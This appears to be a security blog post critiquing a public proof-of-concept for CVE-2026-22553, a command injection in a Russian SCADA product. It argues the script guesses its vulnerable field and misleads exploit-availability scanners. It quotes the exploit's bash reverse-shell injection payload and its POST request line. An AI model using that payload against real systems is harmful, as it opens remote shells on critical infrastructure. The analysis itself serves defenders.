CVE-2026-22553 was published by CISA on 24 February 2026 as advisory ICSA-26-055-01. The bug is an unauthenticated OS command injection in the MMadmServ web interface of InSAT MasterSCADA BUK-TS, a Russian SCADA product deployed in critical manufacturing, energy, and water and wastewater. CISA published without the vendor. InSAT had not responded to CISA's outreach and has not responded since. The advisory credits Adem El Adeb for the report. Seventy-nine days later, a separate researcher pushed a public exploit script. The data dictionary in that script has one field. The comment above it reads: # placeholder field.
CVE-2026-22553: The Exploit Author Marked The Vulnerable Field 'Placeholder'
pattern
cve
proof of concept
CISA disclosed without the vendor
ICSA-26-055-01 was published on 24 February 2026. It names the product (InSAT MasterSCADA BUK-TS), the affected versions (all of them), the CWE (CWE-78), the impact (unauthenticated remote command execution), and the CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The reporter credited is Adem El Adeb.
The mitigation section is the section CISA writes when a vendor has gone dark. Minimise internet exposure. Segment from the corporate network. Isolate from the wider internet. Contact InSAT directly at [email protected] or [email protected]. There is no patched version because there is no vendor engagement to produce one. The advisory's vendor-response paragraph is one sentence long: InSAT has not responded to requests to work with CISA to mitigate these vulnerabilities.
The advisory does not name the vulnerable field. CISA characterises the bug as OS command injection through a field in MMadmServ. The "a field" phrasing is editorial. CISA's standard practice on uncoordinated advisories is to provide enough detail for defenders to evaluate exposure while limiting the public weaponization surface. Adem El Adeb's underlying report to CISA presumably contains the field name; the public advisory withholds it.
A defender reading ICSA-26-055-01 learns: there is a bug in MMadmServ, the bug class is OS command injection, there is no patch, segment your SCADA, write to a vendor in Russia that is not answering. The advisory does its job. The vendor relationship is what it is.
The advisory does not name the field. Neither does the exploit.
On 14 May 2026, a researcher named Mohammed Idrees Banyamer pushed an exploit.py to GitHub at mbanyamer/CVE-2026-22553-InSAT-MasterSCADA-BUK-TS-MMadmServ. Seventy-nine days after CISA's advisory. The script's payload generator is the bash one-liner that every introductory exploitation course writes:
payload = f"; bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"The script's request construction is one line. The comment attached to that line is what the post is about:
# Common vulnerable field name (adjust if needed)
data = {"command": f"test{payload}", "submit": "1"} # placeholder fieldThe field name is command. The comment above it admits the field is a guess. The inline comment to the right says the same thing in fewer words: placeholder field. Two annotations on adjacent lines, both written by the same author, both confirming that the parameter chosen for the POST body is not derived from analysis of the target.
The endpoint is the same shape of guess:
r = requests.post(f"{target}/MMadmServ", data=data, timeout=8, verify=False)/MMadmServ is the only path attempted. There is no enumeration. There is no fallback. The script POSTs once, reads r.status_code, prints [+] Check your listener, and exits. There is no parsing of the response body. There is no second request to confirm execution. There is no test of whether the input was accepted, rejected, or 404'd. The script tells the user that a packet was sent and that the server returned some status code, and stops.
The reason the script does not name the vulnerable field is the same reason the advisory does not name the vulnerable field. Nobody outside Adem El Adeb and CISA has it. The advisory chose silence as editorial policy. The exploit chose silence by ignorance.
The information density of the exploit is lower than the advisory's
ICSA-26-055-01 tells a defender:
- The product is InSAT MasterSCADA BUK-TS.
- All versions are vulnerable.
- The vulnerable surface is the
MMadmServweb interface. - The vulnerability class is OS command injection.
- Authentication is not required.
- No patch is available; InSAT is unresponsive.
exploit.py tells the same defender:
- The author guessed the endpoint is
/MMadmServ. (The advisory said this.) - The author guessed the parameter is named
command. (The advisory was silent.) - The author's bash reverse-shell payload is the standard one. (Independent of the bug.)
- The status code is whatever the server returns to a malformed POST.
The advisory tells a defender, in CISA's carefully chosen phrasing, that there is a field in MMadmServ that triggers command execution on an unauthenticated request. The exploit tells the same defender that the author does not know which field that is. Compare the two as sources of operational information and the exploit is the thinner artifact.
This matters because a scanner cross-referencing CVE records against GitHub does not read the comments in the PoC. The scanner sees: CVE record, public repository, name match. The downstream effect on the defender's patch-prioritization view is "PoC available, working exploit exists." The first half of that statement is true. The second half is contradicted in plain English in a Python comment in exploit.py, two lines into the function body.
Adem El Adeb is not on the badge
The CISA advisory credits Adem El Adeb for the report. Positive Technologies' dbugs entry at PT-2026-21800 credits Adem El Adeb. NVD's references for CVE-2026-22553 point at CISA's advisory, which credits Adem El Adeb.
Nowhere in mbanyamer/CVE-2026-22553-InSAT-MasterSCADA-BUK-TS-MMadmServ is Adem El Adeb named. The repository's README.md opens with three badges across the top:
Below the badges, the headline line:
**CVE-2026-22553** | **CVSS 9.8 Critical** | **Exploit Author Mohammed Idrees Banyamer**The script's ASCII-art banner expands the brand further. Handle: @banyamer_security. Tagline: Silent Hunter | Shadow Presence | Digital Intel. Status: ACTIVE. The repository's per-file authorship header at the top of exploit.py reads, in the same block:
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# ...
# Fixed in: Not fixed (No vendor response)The phrase "Exploit Author" is ambiguous in isolation. It could mean author of the exploit script, which is mechanically true: Banyamer wrote the Python. It could mean discoverer of the exploitable condition, which is mechanically false: the discoverer was Adem El Adeb, and Adem El Adeb's name appears nowhere in the repository.
The README does not resolve that ambiguity. A reader who searches Google for CVE-2026-22553 and lands on the GitHub repository finds Banyamer's name on the badge, on the headline, on the ASCII banner, on the per-file header, and finds no other names anywhere. The asset is the badge. The badge bears one name.
The placeholder is the asset
A genuine vulnerability researcher who finds an OS command injection in a SCADA product writes the exploit with the vulnerable field's actual name. They know which form fields the server parses because they reverse-engineered the binary, ran the service locally, watched the legitimate web client over the wire, or read documentation that named the field. The exploit's primary technical claim is: this parameter, in this request, on this version, triggers command execution. The field name is the smallest possible non-zero proof of work.
exploit.py cannot make that claim. The author does not have access to InSAT MasterSCADA BUK-TS. The CISA advisory does not name the field. The Russian vendor will not respond. So the script ships with command as a placeholder, a comment that reads adjust if needed, and a badge that reads Author. The placeholder is not a debugging artifact. The placeholder is the entire reason this repository exists: it allows the script to bear a CVE number without bearing a working primitive. The badge is the asset. The primitive is the work the user does after they fork.
We name this the Placeholder PoC shape: a script structured as a weaponised primitive, with the critical parameter explicitly annotated as something the user must replace, published under a CVE the publisher did not discover. This is the second time in two days we have written about a PoC of this family. The shape was different in the Cisco SD-WAN case: paywalled README behind a SatoshiDisk listing, throwaway account three weeks old, monetisation. The shape here is different again: free script, named portfolio account with 47 repositories, badge as portfolio. The seller in the Cisco case wanted $660 in Bitcoin. The publisher in this case wants attribution. The artifact that lands in front of the defender is the same artifact in both cases: a CVE-shaped wrapper without a working primitive inside.
The underlying signal generalises. The existence of a PoC repository on GitHub is a fact about GitHub, not a fact about whether the bug can be triggered. Threat-intelligence pipelines that flatten "has a PoC repository" into a boolean and feed that boolean to a patch-prioritization queue are picking up the publisher's brand strategy as a security signal. The publisher knows this. The publisher's incentive is to keep doing it.
What the scanner saw, what the scanner could not see
The internal scanner that surfaced this candidate read three signals: CVSS 9.8, AV:N PR:N, a public GitHub repository whose name matches CVE-2026-22553. The scoring stopped there. The scanner cannot read the comments in exploit.py. The scanner cannot read the attribution on PT-2026-21800. The scanner cannot tell whether the PoC works. From outside, "has a CVE + has a PoC" is a binary with respect to weaponization. From inside the repository, the answer is no, and the no is written explicitly in the PoC's source code in two adjacent lines.
A defender ranking patches by "is there a working exploit?" sees CVE-2026-22553 with a checkmark next to "PoC available." The checkmark is wrong. Not because no exploit exists, somewhere, in Adem El Adeb's private notes, or in InSAT's internal bug tracker if InSAT had one that worked, or in the toolkit of whichever ICS-targeting team eventually pays attention to a Russian SCADA bug with no vendor response. The checkmark is wrong because the public repository the scanner picked up does not contain that exploit. The public repository contains an exploit-shaped wrapper with placeholder field written inside.
The right column for CVE-2026-22553 in a public-exploit-availability dashboard, given the current state of the public record, is empty. It will not be empty in any dashboard that polls GitHub for CVE-numbered repositories, because that polling sees this one.
PoC: mbanyamer/CVE-2026-22553-InSAT-MasterSCADA-BUK-TS-MMadmServ
The placeholder bears the author's name. The vulnerable field bears nobody's.